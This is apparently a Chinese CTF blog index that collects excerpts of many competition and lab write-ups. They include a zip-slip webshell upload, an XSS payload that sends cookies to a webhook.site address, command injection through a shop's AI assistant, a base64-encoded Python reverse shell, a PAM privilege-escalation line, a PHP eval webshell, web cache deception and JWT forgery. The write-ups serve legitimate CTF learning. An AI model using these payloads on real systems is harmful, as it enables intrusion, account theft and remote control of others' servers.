Writeup on Red的小屋

2026长城杯半决赛easy_time意外发现的另一种潜在解法 | WriteUp

Thu, 16 Apr 2026 00:00:00 +0800

本篇将介绍除网上zip slip漏洞外的另一种解法，针对所给附件docker-compose.yml环境与当时比赛现场环境不一致的情况

环境搭建

附件给了docker-compose.yml，直接docker-compose up -d即可，mac上要把5000改成其他，否则会和airdrop冲突

但要注意，本题直接用附件所给的docker-compose启动会和比赛时的环境不一致，也是为什么会有第二种解法的原因，具体将在攻击部分讲解

攻击

通过浏览整个项目的文件结构可以发现，有两个web部分，一个是php，一个是flask，而根据docker-compose.yml可知对外提供能访问到的是flask，所以先看flask的逻辑

先看路由，发现大部分路由都需要经过login_required

跟进这个装饰器，发现它通过另一个is_logged_in()判断是否已登录

这个is_logged_in()只会检查cookie里的visited是否为yes，以及user是否有值，所以不需要什么绕过，只要有值就行

另外，还有一个硬编码过的2层md5密码，其实明文是secret，用hashcat可以很容易跑出来

hashcat -m 2600 -a 0 hash rockyou.txt

登录逻辑大概就是这样，不过比赛时我居然在类似下面这样的好多地方纠结了好久为什么没有SSTI ？太久没碰CTF导致的……

顺便补一下上面这样的构造并不会造成SSTI，下面这样才会，原理：https://xz.aliyun.com/news/3311

既然不存在直接的利用点，那就只能回到逻辑分析，粗略浏览路由后会发现主要路由只有/plugin/upload和/about，/board尽管有写库的功能，但是sqlite，所以先不管

先看/about，主要逻辑就是下面这段

先对上传后缀做过滤，再从数据库里拿出信息给flask渲染，其中avatar_url还会经过一个fetch_remote_avatar_info的函数，跟进

就是很简单的curl，本身没有利用点。但问题就在于它另一个php服务存在于一个环境里，由此可以引出SSRF，并且php自带了一个phpinfo.php，所以来到about页面将头像地址改成php服务地址试试

成功访问，但没有发现什么特别的东西，而且目前还没发现进一步利用到RCE的点，所以继续看另一个路由

可以看到仅支持上传.zip文件，并将上传上来的zip文件名做secure_filename防止路径穿越(注意这里只过滤上传的zip文件本身，不会检查zip文件里的文件)后，最终交给safe_upload函数，跟进一下

遍历zip文件中的文件，将文件名与dest_dir合并后赋值到target，如果是文件夹则确保或创建该文件夹存在，否则将文件写到完整的target路径里。

其实这是个很类似解压到操作，但又不是标准的解压方法，真正使用zipfile解压zip的方法应该是下面这样

with zipfile.Zipfile("example.zip","r") as zips:
zipf.extractall("/tmp")

但这道题里的这种"解压"实质上是一种文件迁移，将zip的内容读出来再写入，而不是真正地去解压它

操作的空间就在这里，os.path.join对路径的处理并不会做像secure_filename那样过滤路径回退的操作，甚至会优先解析绝对路径(如下target3)，如下

由此可知，可以通过让被压缩的文件名带有/或../这样的格式，达到任意目录写文件的目的。并且由于flask没开热更新，所以肯定不是覆写.py来拿webshell，只能写php webshell

所以只要构造一个文件名为’/var/www/html/shell.php’的文件就能成功写入，但linux和macos都不支持直接创建带/文件名的文件，所以我们只能用zipfile这个库直接创建一个带有这样文件的压缩包

import zipfile
with zipfile.ZipFile("eval.zip","w") as f:
f.writestr("/var/www/html/shell.php","<?php system('ls');?>")

赛事环境与附件所给不一致导致的利用失败

此时如果直接上传这个文件，理论上应该是可以正常解压最后利用ssrf getshell才对，但情况并不是这样。而是出现了解压失败的报错

参考网上许多赛后复盘wp后发现，当时比赛的环境确实只要上传上面生成的压缩包即可

https://rycarl.cn/index.php/2026/03/23/2026%E9%95%BF%E5%9F%8E%E6%9D%AFawdp%E5%8D%8A%E5%86%B3%E8%B5%9Bwp%E8%A5%BF%E5%8D%97%E5%9C%B0%E5%8C%BAweb/#FIX-2

https://blog.luc1f3r.top/zh-cn/posts/writeup/ciscn--ccb-%E5%8D%8A%E5%86%B3%E8%B5%9B---2026-writeup/#break-1

说明两者环境应该有区别，经过一番排查后后发现了原因

xujcLab 4月多校训练赛 xujcStore | Writeup

Wed, 08 Apr 2026 00:00:00 +0800

很久没有出过题了，上一次出题还是在上一次，看到这次4月赛这么多人在玩，就忙里偷闲随便整一个

我会从做题者的视角来写，让大家可以更直观地看到渗透的逻辑链

通过题目描述可以得知，老板最近经常（实际上是1分钟一次）用AI看一件夹克商品，进来看了一下，只有一件商品是夹克

随便注册一个用户，上来后发现给了个邮箱服务，其他没发现什么有价值的东西，那就玩玩AI吧

既然老板经常看这件夹克，那我们也看一下

可以看到，会显示客户评论，和商品页面下看到的一样，所以它的功能其实很简单，就是把评论区的内容照搬过来。既然这样，如果这里存在xss漏洞，老板的账号如果执行了我预先埋在评论区的xss payload，我就可以拿到他的cookie，上他的号看看。所以先来验证一下有没有xss

回到夹克商品页面，随便打个alert试试

可以看到没有执行，因为被包在了div容器里，但并没有做过滤或转译，所以试试img标签直接看外带能不能成

重新操作一遍后，最多等待1分钟左右，会发现成功收到回显

既然可以外带，那就准备外带cookie的payload，既然script不行就用img

<img src=x onerror="location.href='http://webhook.site/aeb1a8a3-639c-4595-89f1-18faac7d0d10?c='+document.cookie">

拿着外带回来的session就能登录到管理员akared777用户

会发现多出一个管理员后台，但也没有什么特别的东西，只能证明我们已经成功登录到管理员用户，所以既然还是搜集不到东西那就再玩玩ai吧，老板喜欢玩的东西肯定不简单

这里我们如果用普通用户问一样的问题，会发现普通用户只有第一个功能product_info，只有管理员才会多出这么多功能。

不过，llm最大的问题就在于同样的问题不一定能够被稳定复现，所以最稳妥的问法还是从它的功能原理——API问起

当然，要是中文不行，题目一开始的提示里告诉了英文最佳，在实战中也是个很常用的tip，这里就不演示了

经过排查后，关注点锁定在dispatch_notification这个功能，

可以搜看看

命令行吗？有点意思，斗胆试一下命令拼接

这里它给的用法里没有指定是哪个工具，如果只发一个json它应该会不认得，所以在前面加上api的名字

会发现akared777的邮箱并没有收到邮件，但我并没有直接放弃测试这个api，毕竟这是道渗透题，环境带来的不确定性可能会让自己错过很重要的东西。此时想起来普通用户也有邮箱，所以开个无痕登录一个普通用户

会发现普通用户的邮箱地址和管理员不太一样，加了一串随机字符。所以我们拿它重新尝试一下

会发现还是没有收到邮件，所以我开始推测可能是我写的格式不对或内容不行，删减自己的json数据，到最后尝试让他只发送一封空邮件

成功收到

会发现它已经自己写好了内容，也就是content，所以可能是怕我做命令拼接，所以会丢弃内容，并拦截

不过到目前也只验证能发件，content又被ban了，那还有什么地方是可控的，可能存在拼接的吗？对，还有一个用户名，而且这个邮件自带一串随机字符，说不定发件定位用的不是用户名，而是这串随机字符，那就梭一把

get it，至此我们就成功拿到了webshell，然后就是最喜闻乐见的反弹shell

会发现空格遭到了过滤，而且太多引号也会导致奇怪的失败，这也是渗透常有的事，就不多展开，直接上我的payload

dispatch_notification $(echo${IFS}cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMS4xLjEuMSIsMTE0NTEpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=|base64${IFS}-d|/bin/sh)@YOUR_PREFIX.xujcstore.com

因为根据请求头会发现用的是python，所以直接用python弹更稳定

接着就是提权环节了，会发现root没有权限进去

接着就是上可读可写可执行的查找三板斧，会发现可写里有个值得注意的家伙

pam是linux的统一权限管理接口，用来管理linux程序的权限划分，可以利用覆写配置达到提权

没有读权限，但有写权限，那就只能靠蒙，看能不能蒙到可以直接利用的东西，直接试试最常见的su看有没有

echo "auth sufficient pam_permit.so" > /etc/pam.d/su

能写说明事先没有这个文件，现在我们写了用的就是我们的，最后执行su就能利用配置文件成功获得root

具体原理可以参考https://blog.csdn.net/2301_79518550/article/details/145524969

2025 TKKCTF | WriteUp

Sun, 07 Dec 2025 00:00:00 +0800

本篇wp还总结了本届TKKCTF在使用新版docker与xinted时，在Pwn方向上题/出题阶段遇到的问题的解决方法，以及密码题Isomorphia_revenge出现非预期解的原因与解决方法，希望能给各位校外师傅将来出题提供点帮助，再次感谢所有参与并支持本届TKKCTF的参赛选手与测试人员，TKKC Sec因为有你们而变得更好～

Web

Eat

2023 TKKCTF - 好吃，爱吃，多吃

Real or AI

本题灵感来源于

有很多人在群里晒自己的得分，不过这对一个训练有素的hacker来说应该想要多高就有多高

网页内容基本没有变化，先来看看怎么修改得分

最低1张图1局，我们就先随便玩一局看看显示结果的页面有什么值得注意的内容

运气不太好。此时你如果只是想到群里晒得分，可以直接修改HTML的内容

可是这样一点也不真实，左边的圆圈应该要随正确的比例填满，所以直接修改HTML的方法显然不是最好的，因此我们就要进一步看看前端还有什么别的实现

在js部分发现了这个

资源结构很简单，出了这个js外没有别的脚本，因此应该只要分析这个脚本就行。

分析过前端逆向的人应该都知道，前端逻辑代码大部分都是经过混淆或者加密处理的，这个网页也不意外，所以如果直接通过打随机断点去分析，工作量会很大。因此我们需要找到一个明显又值得关注的东西，回到刚才我们随便玩的一局里，观察到“score”这个字符串，负责表示分数，所以我们就随便搜一搜

范围一下被缩小到了6个，所以我们就只需要观察这6个地方的逻辑，应该就能找到突破口

通过观察，最后可以将目标锁定在这个结果

为什么是这里？这是6个结果中的第2个，如果我们把刚才的6个结果都看过去，可以在第6个结果中看到这样一段

通过属性名与"results"可以很大胆的猜测这段结果就是最后输出给我们看的东西，而后面这三个值被赋给了Yy，也就是6个结果中第2个结果的那个函数，所以如果能操控Yy，很大概率我们就可以控制最后的输出结果。

我没有对Yy做很细致的分析，不过粗略的看一眼也能获得证实我们上面想法的线索

如果我们在刚才随便玩的那一局里再点一下“SHARE RESULTS”按钮，会发现他会复制一段话，而这段话的片段很明显就是这几行代码组成的，因此这更加证实了Yy就是负责最后输出页面内容的函数。

而经过对这几行代码的分析也有别的发现，那就是变量o，这个变量在18193行被拿来做分数判断。回到Yy函数的变量声明里，会发现o变量就是由totalRounds和score组成的

所以思路到此就很清晰了，我们可以尝试在o变量被赋值的地方下条件断点，让o使用我们自己定义的e和t，就能达到随意控制最终输出结果的目的。

此时我们再去玩一局，就会发现成功触发断点

放行全部断点后就能得到

此时如果你只是想炫耀999的截图任务，就已经完成了。但对于CTF选手来说，走到这步没有拿到flag肯定是很不满意的。所以我们就回到CTF最原始的玩法

如果你头铁，可以一个一个搜过去也可以。但我的习惯一般是只关注前几个和后几个。前3个结果显然不是我们要找的flag，那就看看后3个

很明显这就是我们要找的东西，获得方法也很简单，e和t我们刚才都已经分析过（理论上没有走过我们刚才那些步骤的选手应该也要去了解e和t的值分别是什么，当然也不乏可以猜出来）写个计算sha256的脚本就能解决

#!/bin/bash
e=999
t=999
salt="HDJackm2G7SfnAwGWXOYgHfuB1cj6DEZ" #盐是每个靶机随机生成的，需要你自己替换
msg="${salt}${e}${t}"
hash=$(echo -n "$msg" | sha256sum | awk '{print $1}')
curl "https://47.122.52.77:33695/secrets/$hash.txt"

SecOps

访问题目，被重定向至登录页面

在登录页面可以发现一个下载接口/common/download?file=

2025 TKKCTF Beginner | WriteUp

Sat, 06 Dec 2025 00:00:00 +0800

本次WriteUp为各出题人收集版，如遇问题可以找对应题目出题人

Web

彩蛋

顺便解释一下为什么是“可能见过也可能没见过”

以及为什么提示叫“挖掘xujclab.com”

easy_upload

wp-2.pdf

ez_http

出题者 zsm 留言：第一次出web题，质量不算特别高，请见谅

源码

<?php
echo "<h1>你知道http协议吗？</h1>";
echo "<h1>不知道？还不去查查!!!</h1>";
echo "<h2>你知道怎么修改请求包吗？</h2>";
echo "<!-- 你也许需要一个工具？看看web手册呢？ -->";
$flag = file_get_contents('/flag');

$flags = str_split($flag, 5);

if ($_SERVER['HTTP_USER_AGENT'] != 'xujcBrowser') {
 die('请使用xujcBrowser浏览器访问');
}
echo $flags[0];

if (!isset($_GET['hello'])) {
 die('<br>请用GET方式传递hello=world');
}
echo $flags[1];

if ($_GET['hello'] != 'world') {
 die("<br>hello参数不正确");
}
echo $flags[2];

if (!isset($_POST['web'])) {
 die('<br>请用POST方式传递web=security');
}
echo $flags[3];

if ($_POST['web'] != 'security') {
 die('<br>web参数值不正确');
}
echo $flags[4];

if (!isset($_COOKIE['flag'])) {
 die('<br>请设置cookie flag=secret');
}
echo $flags[5];

if ($_COOKIE['flag'] != 'secret') {
 die('<br>cookie flag值不正确');
}
echo $flags[6];

if ($_SERVER['HTTP_REFERER'] != 'http://localhost:8080/') {
 die('<br>请从http://localhost:8080/访问');
}
echo $flags[7];

if ($_SERVER['HTTP_X_FORWARDED_FOR'] != '127.0.0.1') {
 die('<br>请从127.0.0.1访问');
}
echo $flags[8] . "<br>";
echo '<h1>看来你知道http协议了</h1>';

首先你要去学一下http协议，以及了解一下这个包里面的内容

2024 Seccon13 Online Web | Writeup

Sun, 08 Jun 2025 00:00:00 +0800

ssrf-self

非常超模的一题，能做出来的都是狠人(当然不排除很大一部分是猜对的，实际分析起来确实复杂)

先来看代码

用bun起的服务，这个bun是个什么呢？可以理解成一种全新的nodejs，对nodejs很多功能进行了重构提升性能

非常正常的包引用。接着来看逻辑代码。

根路由判断了query是否给flag传值，如果传了才能继续跳转到其他路由。也就是说，不管访问的是什么，因为有next事件的存在，所以必须经过根路由的这个检查

携带正确的flag值访问flag路由就能得到flag。但我们肯定不知道flag是什么

最后就是ssrf路由，会把请求拿去URL类做实例化，并判断是否正确与LOCALHOST进行拼接，重新赋值pathname为flag，添加参数flag和正确的flag值，代替我们访问/flag路由。

乍一看好像直接访问/ssrf就应该返回给我们正确的flag才对，但问题就在于根路由的next，必须先赋值正确的flag值才能访问ssrf

看到这里我就在想，append是会把flag覆盖过去还是把flag变成数组添加一个值？用附件起一个服务试试

为了看到传到flag路由的具体内容是什么，我们需要修改一下代码

注意只能存在一个res.send，否则会报错

先来看看直接传flag值会发生什么

跳到了正则表达式的第二个结果里。而我们的目的肯定是第一个结果，所以来看看传进来的req.query是什么

会发现append最终是把我们的flag参数变成了数组，所以不会跳到第一个结果。

那要怎么绕过呢？猜测漏洞点应该就出在

URL对req.url的处理，可能存在什么符号或格式让URL类在过了根路径的检查后仍然认为flag这个参数不存在
bun本身自带的express框架对req.query的识别与URL对req.query的识别不一致

而两种思路也正对应了这题的两种解法

1./ssrf?flag[=]

我们在php里经常用?a[]=1&b[]=2来绕过md5比较，在js里也有类似的用法。比如我们想用url给某个数组的某个键值赋值，可以用这种方法

?flag[1]=1

那要是我们的键值不是数字，而是别的什么呢

接下来就是想办法怎么让req.query觉得存在flag参数，又让URL觉得不存在flag参数

方法就是标题里的payload。当传进来的值是flag[=]时，req.query会觉得你在给flag的=键赋值，URL会觉得你在给flag[赋值

2./ssrf?flag\ufeff

先来看看bun带了什么模块

负责url处理的猜测是parseurl。且在express/lib/requests.js里也能看到引用

到github搜项目https://github.com/pillarjs/parseurl/blob/1.3.3/index.js

读取到URL数据后先判断是不是空的，如果不为空，将在缓存中查找是否存在（fresh方法）。如果不存在，将进入fastparse

判断url是否是字符串且以/开头。如果不是则交给bun更底层的parse函数去处理

这个parse函数又是怎么处理的呢？这就得进到bun到项目文件里一探究竟了https://github.com/oven-sh/bun/blob/bun-v1.1.36/src/node-fallbacks/url.js#L49

这一段主要就是对反斜杠进行处理，然后赋值url给rest

紧接着将rest后面的空白符删除

什么是空白符？有很多，其中有个比较不常见的叫BOM（Byte Order Mark）分隔符

接着先回到parseurl往下继续分析

如果没跳进上面的if，就会来到这个for循环。简单来说就是先以?为分隔符分出三个部分，再对各种特殊字符作处理，但有一个case格外亮眼，就是0xfeff

意思就是，如果我们的发送的数据里带了0xfeff（也就是\ufeff）也会跳进parse进行处理

而根据我们上面对parse的分析，他会将包括0xfeff在内的空白符删掉，导致在req.query做判断时会认为我们传递进来的参数就是flag而不是flag\ufeff，因此就能绕过undefined

但URL类并不会认为flag和flag\ufeff是一样的，他会认为这是两个不一样的变量，在append时就会单独起一个flag变量赋值

持续更新ing……

2024 HKCert CTF 线上赛 Web | Writeup

Tue, 13 May 2025 00:00:00 +0800

前言

~~一直从去年比赛结束拖到现在，我也是个神人了~~

本篇将复现Web方向全部题目（不包括PWN+Web），包括step by step

已知用火 (1) / Custom Web Server (1)

一道C语言web题，比较少见，不过仔细分析一遍后会对C语言的socket编程有初步的理解，所以我们来详细分析一下

拿到附件后发现只有srv/里的静态文件和server.c的逻辑，那就来看c程序

首先是setvbuf

这个函数的主要作用是将标准输入、输出、错误用全缓冲放到NULL缓冲区里。

当我们在对系统进行输入与输出时，系统并不会直接从物理硬件读取内容，而是会放到缓冲区里，等触发一定条件后才会将从缓冲区内取出使用。而在这个程序里的条件就是这个全缓冲，会将我们输入的内容全放到NULL里，也就是空，这样做的目的就是让我们在标准输入和输出无法控制这个程序。

接着声明服务地址与客户端地址

之后创建一个socket变量。这个变量有个更专业的名字叫”套接字描述字“，但为了方便理解我这里直接叫他socket变量。

我们要想为C语言程序创建一个服务端待连接套接字(socket)，就需要先创建一个变量，接着再一步步创建bind（用于为socket变量绑定地址）、listen（开启监听）、accept（收到客户端请求后确认连接）、recv（接受数据）、close（关闭连接）等，可以看下面这幅图。更详细的内容可以看这篇文章

这就是socket连接的大概流程，接着我们来解释一下这里参数的意思。

AF_INET：这个参数意为告诉socket函数需要创建IPv4协议的连接。这个参数位为协议域(domain)，又称为协议族（family），常用的协议族有AF_INET（IPv4)、AF_INET6(IPv6)、AF_LOCAL（或称AF_UNIX，Unix域socket）、AF_ROUTE等等
SOCK_STREAM：这个参数意为需要创建流式套接字。这个参数位为需要创建的套接字类型，常用的socket类型有，SOCK_STREAM（流式套接字）、SOCK_DGRAM（数据报式套接字）、SOCK_RAW、SOCK_PACKET、SOCK_SEQPACKET等等
0：这个参数意为自动选择传输层协议。这个参数位为选择传输层协议，常用的协议有，IPPROTO_TCP、IPPROTO_UDP、IPPROTO_SCTP、IPPROTO_TIPC等，它们分别对应TCP传输协议、UDP传输协议、STCP传输协议、TIPC传输协议。需要注意，IPPROTO_TCP只能搭配SOCK_STREAM，因为TCP是流式传输，每个数据包之间有关联性，而不像UDP前后不分。

接着就是手动配置服务端地址

其中，INADDR_ANY表示0.0.0.0，htonl函数的作用是将电脑的小端序改成网络字节流的大端序

接着就是绑定地址和监听，bind和listen函数如果运行成功将返回0

listen函数的第二个参数意为最大的连接等待排队个数，因为这里暂时（下面使用了多进程）没做多线程处理，所以listen一次只能处理一个连接

最后用accept函数确认连接，至此我们就能成功与客户端保持连接了。

接下来就是为这个连接使用fork函数创建一个子进程去运行。这样这个连接就会被挂载到这个子进程上，listen就能去处理排队里的下一个连接

handle_client函数为自定义函数，所以我们接着来分析一下

首先声明了两个字符数组，这个没什么好说的

接着用memset初始化，将所有数组空间用0填充

接着将从客户端发送来的数据包内容保存到buffer数组里

接着用sscanf将buffer里的内容用%s格式化后储存到requested_filename。例如我访问内容为http://127.0.0.1/index.php，那么requested_filename就为index.php

这里我在分析的时候比较疑惑为什么不是整个http请求包，而是只有一个index.php，其实仔细想想就会发现，%s会读以“空格”或“换行”为截断去读取内容，而此时buffer的内容应该长这样

GET /index.php HTTP/1.1\r\nHost: localhost\r\n...

很明显后面有空格，所以就不会包含整个包体。算是用得挺巧妙的一个地方

之后又是一个自定义函数，不过我们先不着急看它怎么实现，从样子上大概可以看出来它是用来返回500.html的页面内容

接着来到这句

FileWithSize是一个自定义结构体

也就是最后的返回值是这两个变量。read_file也是FileWithSize类型的自定义函数，跟进一下

上来又是一个自定义函数ends_with，继续跟进

一个很简单的判断逻辑，判断后缀名是否相等。这里strncmp函数作用是判断第一个参数位是否和第二个参数位相等，第三个参数位表示判断长度。不过这里当时看到字符串text和整型text_length拿来加减有点懵，经过查阅后得知C语言中字符数组如果被拿来加减，其实就会改变其指针指向的位置，这里的运算操作就恰好能让指针落在后缀名里的.符号上，是第二个利用得很巧妙的地方

因此我们可以得知只能用这四种后缀名。回到read_file

定义数组和赋值，snprintf意为将第四个参数位中的值和第三个参数位中的值拼接后，为第一个参数位输入第二个参数位的值的长度的值。也就是说我们不能为real_path输入超过1024个字符，包括public/。并且，根据snprintf的特性，它允许输入的内容长度大于第二个参数位的值，甚至是第一个参数位的数组大小，因为它只会输入第二个参数位那么多的字符，这正是漏洞点。

因为public/恰好占了7个字符，如果我们将filename的数量控制在1019个字符（因为在handle_client中的sscanf存在一个/，所以发包的时候记得从第一个/之后开始算起），且最末尾为.js（当然也可以是其他几个允许的后缀），这样就恰好能将.js排除在1024之外，并且根据后文的内容可以得知real_path为读取文件内容的路径，这样就能轻松地达到读取任意文件的目的

已知用火 (2) / Custom Web Server (2)

为了彻底搞清楚这题的原理，耗了我很久的时间去验证read从socket缓冲区写入到buffer中的字节数以及发包个数。并且到我发稿前在网上并没有找到漏洞利用的详细说明，大部分wp认为填充字节是为了绕过nginx，其实并不是，且没有对为什么要发送三个包作出详细说明。接下来我们来仔细分析一下

HMV NoPort | Writeup

Wed, 09 Apr 2025 00:00:00 +0800

主机发现后先扫一下端口

只有一个80端口，接着扫目录

发现有.git，直接githack下来

会发现有一个swp状态的文件

先vim -r .test.php.swp恢复一下，然后复制保存，把所有clone下来的东西拖到vscode里开始审计

先来看看nginx和apache，因为一般会起两个服务并且题目只提供一个端口应该是有前后关系

nginx.conf里可以看到用户为www-data，启用了proxy_cache，也就是会把访问的内容缓存。但缓存了什么以及如何触发缓存还不知，继续往下看

引用了ctf.conf

可以看到80端口做了哪些路由。访问index.php和一些静态文件后缀的路径都会被跳到127.0.0.1:8080，并且配置文件里没有提到是nginx起的php-fpm，再结合有个apache，因此推测内部拓补大概就长这样

并且可以发现，nginx会将你访问的静态文件缓存下来，这样这里的nginx就起到了一个类似CDN的作用。那么接下来就开始审php

在index.php可以归结出3种路由

第一种是visit

可以看到这个路径主要作用是去访问test.php，这个放到一会儿再看。

第二种是login，这个没什么好说，就是判断是否正确登陆，成功后跳转到一个叫sh3ll.php的地方

第三种是其他路径，也就是除了上面两种路径以外的路径。不过这里面又分了两种小路由，并且想要触发这两个路由都需要在通过验证的情况下才可以进入

一种是路径中带profile字样，就给你放回你当前来访问这个路由的用户的账号信息，包括密码

第二种是直接去访问路径里的其他文件

接下来看一下test.php。日志的文件名被写死，基本不可能利用写入恶意代码的方式。

接下去是调用bot_runner函数，这个函数在调用上面的login_and_get_cookie函数去获取admin的cookie后，允许你携带管理员的cookie去访问你给的uri。

我们可以发现，虽然bot_runner函数会帮我们访问没错，但是并不会携带访问结果，也就是你看不到respones，所以要想办法把结果带出来。这个时候就要用到nginx里的缓存功能，设想一下，如果我们能将respones保存在一个静态文件里，不就可以看了吗？

所以我们可以构造这样一个payload

uri=profile/1.css

可以设想一下，当管理员访问了profile后，php会返回密码，而nginx则会认为profile/1是一个css文件的文件名从而将页面内容缓存下来，这样只要我们访问profile/1.css就能得到结果

拿到密码后发现直接用这串密码是sha256加密过的，需要爆破

把密码存进hash文件里，直接上rockyou

hashcat -m 1400 -a 0 hash rockyou.txt

得到明文starbucks

登陆后看到可以执行命令

直接写一句马上蚁剑

echo -n '<?php eval($_POST[1]);?>' > 1.php

在/var/www看到一个文件pass

翻译过来就是用户密码就是前面我们拿到的那个登录密码，尝试直接su会发现没有权限，所以应该是有别的方法。在/opt/hello下发现一个readme

翻译过来就是nginx会随着机器的重启而重启，下面附了一个建议，建议我们先在本地测试好nginx配置以免因配置错误导致服务崩溃

并在home下发现用户名

先看一下sudo -l，发现可以reboot

并且发现ssh服务，但是监听的是127，所以要想办法把这个端口映射出去

那就到nginx配置目录下看看

HMV Tryharder | Writeup

Wed, 09 Apr 2025 00:00:00 +0800

第一个一血，记录一下

Foothood

打开后发现有一个API调试路径

进来后是一个登录框

接着bp直接爆破，

进来后抓个包发现是jwt

直接丢到jwt.io看一下

很典的HS256，空密钥改admin，然后丢jwt_tool里先梭一把试试

上来了，接着直接传马发现不对劲

上.htaccess

拿下

连蚁剑，方便后面操作

直接冲/home，看一下能不能读，发现可以直接读flag

提权 - pentester

接着应该就是要想办法先拿到pentester，看一下/etc/passwd

看不懂思密达，丢给d老师问一下

感觉没啥用，那就只能继续信息搜集。这里卡了好一会儿，直到去opt逛了逛，发现他们几个

有nc，先弹个shell

跑一下pty，再跑一下pspy64

发现srv下面有东西，去看看

（这是在致敬2025 CCB吗= =）

拿刚才GECOS里的文本对照一下

发现有些字符不一样，就可以联想到二进制，一样的是1，不一样的是0（或者一样的是0，不一样的是1，两个我都试了一下）让d老师搓一个脚本对比就行

提取 - xiix

发现没有netstat，那就直接上fscan

有个8989，并且联想到刚才被xiix执行的backdoor.py，直接nc梭一波试试

提权 - root

写authorized_keys上来后，发现有个guess_game，跑一下

emm运气得留在更重要的地方🙏所以找找有没有别的办法，因为是游戏，所以第一时间想到可能留有后门。看一下env

有个1337，试试？

24-25下半学年第二次线上赛 | Writeup

Mon, 31 Mar 2025 00:00:00 +0800

莫斯档案馆

每一层有一个pwd.png和一个压缩包，pwd.png是一个彩色条纹和圆点的非常小的图像，也就是摩斯密码，套了很多很多层，写脚本去识别摩斯密码，并递归解压。

from PIL import Image
import re
def getMorse(image):
"""
从图像中提取莫尔斯电码
假定背景颜色是固定的，莫尔斯电码具有不同的颜色。
莫尔斯电码可以是任何颜色，只要它与左上像素的颜色不同。
>>> getMorse('pwd.png')
['----.']
"""
im = Image.open(image, 'r')
chars = []
background = im.getdata()[0]
for i, v in enumerate(list(im.getdata())):
if v == background:
chars.append(" ")
else:
chars.append("*")
output = "".join(chars)
# 清理输出，去除前后的空白
# 然后将每组3个星号转换为短横线
# 将星号转换为实际的点
# 将字母之间的空格（即>1个背景像素）转换为分隔符
# 删除空白
# 返回字母的列表
output = re.sub(r'^\s*', '', output)
output = re.sub(r'\s*$', '', output)
output = re.sub(r'\*{3}', '-', output)
output = re.sub(r'\*', '.', output)
output = re.sub(r'\s{2,}', ' | ', output)
output = re.sub(r'\s', '', output)
output = output.split('|')
return output
def getPassword(morse):
"""
解码莫尔斯电码
将莫尔斯电码转换回文本。
以字母列表为输入，返回转换后的文本。
注意，挑战使用小写字母。
>>> getPassword(['----.'])
'9'
"""
MORSE_CODE_DICT = {
'.-': 'A', '-...': 'B', '-.-.': 'C', '-..': 'D',
'.': 'E', '..-.': 'F', '--.': 'G', '....': 'H',
'..': 'I', '.---': 'J', '-.-': 'K', '.-..': 'L',
'--': 'M', '-.': 'N', '---': 'O', '.--.': 'P',
'--.-': 'Q', '.-.': 'R', '...': 'S', '-': 'T',
'..-': 'U', '...-': 'V', '.--': 'W', '-..-': 'X',
'-.--': 'Y', '--..': 'Z', '-----': '0', '.----': '1',
'..---': '2', '...--': '3', '....-': '4', '.....': '5',
'-....': '6', '--...': '7', '---..': '8', '----.': '9',
'-..-.': '/', '.-.-.-': '.', '-.--.-': ')', '..--..': '?',
'-.--.': '(', '-....-': '-', '--..--': ','
}
for item in morse:
return "".join([MORSE_CODE_DICT.get(item) for item in morse]).lower()
def main():
"""
自动启动
用于自动化。
自动调用方法并使用'pwd.png'作为输入图像。
"""
print(getPassword(getMorse("pwd.png")))
if __name__ == "__main__":
main()

并使用sh脚本去循环执行

2025长城杯半决赛 | Writeup

Tue, 18 Mar 2025 00:00:00 +0800

AWDP

CCforum

粗略审计后大概可以知道应该是要先登陆进admin.php，但sql语句全部做了预编译所以没法注入，试了一下通过爆破可以获取到admin.php的账号密码。登陆进去后再看有什么利用点

入口没有什么特别的，可以直接先看到login的逻辑

可以看到把通过验证的用户名写到了session里，接着看reply.php和post.php会发现都有一个敏感词过滤。并且他们调用的$username都是session里的明文用户名

跟进到config.php看这两个函数

可以看到record_banned函数里主要干了三件事

拿用户名base64的结果创建目录
判断是否创建成功，如果创建成功就正常写入被过滤的敏感词。创建失败有两个分支，一个是文件夹创建失败，会把用户名明文拿去和日志信息做拼接；一个是banned日志文件创建失败，直接写入一串信息，没有拼接。
最后将第二点走完的结果用log_action函数写到总日志里（这里又个很容易掉进去的陷阱，就是日志其实是有两份的，一个是总日志access.log，一个是banned日志。我们能作拼接任意写入操作的其实是总日志。）

到这里其实已经可以达到写入任意字符串的目的，但还不能说明什么，因为写入的地址并不能被访问，而且文件名是固定的，所以直接上马可能性不大，得找地方利用这个允许我们随意写东西的地方。

看回刚刚爆破开的admin.php，在登陆验证逻辑过后紧接着这一段

可以看到它把log文件读到变量$action_log，接着$log_lines再以换行作为分隔符将日志作切割。这里我们再看回到config.php，来看一下日志是怎么写的。

可以看到$log_file变量就是以换行为结尾的，并且以逗号为分割。所以我们继续往下看admin.php。可以发现我们写入的东西都会被处理完后放到对应的变量里，而只有$additional_info是我们可以控制的（$encoded_user是base64，控制不了）。

接着往下看

这段代码将$encoded_user作为用户名拼接路径，然后再把路径的内容读出来。那么利用思路就清晰了，我们刚才一直在找的任意写入应该就是在这里发挥用处，也就是控制$encoded_user。但这不就和上面说的不能控制矛盾了吗？有什么办法可以通过$additional_info来控制$encoded_user吗？

如果你的思维足够跳跃，应该就能想到用任意文件写入来写入换行，以此在$additional_info来创建一条假日志。这样我们就能控制这条假日志的用户名了。说起来有点抽象，我们来看个具体的例子

这是根据log_action函数生成出来的日志，大概像下面这样

1,abwidab,admin_login,1,\n //log_action($username, 'admin_login', 1);
2,dqbvwwfqiq,register,1,\n //log_action($username, 'register', 1);
3,wqifbqwibc,record_banned,0,Failed to record banned content\n //当record_banned无法创建目录但可以创建文件时log_action($username, 'record_banned', 0, 'Failed to record banned content');
4,wqifbqwibc,record_banned,0,Failed to create record directory for 这里拼接任意字符串\n //当record_banned无法创建目录但可以创建文件时log_action($username, 'record_banned', 0, 'Failed to create record directory for '.$username);

那么username应该输入什么呢？示例如下

2,dqbvwwfqiq,register,1,\n
4,wqifbqwibc,record_banned,0,Failed to create record directory for \n
11,../flag,record_banned,1,111\n

而我们输入的用户名就是

24-25下半学年第二次线下赛 | Writeup

Fri, 14 Mar 2025 00:00:00 +0800

只开了一台靶机。这里我以本地的环境为例简单讲一些重要的指令和过程

外网打点

除了回环地址和我的物理机外，设备有两台，.80和.201

用fscan扫一下

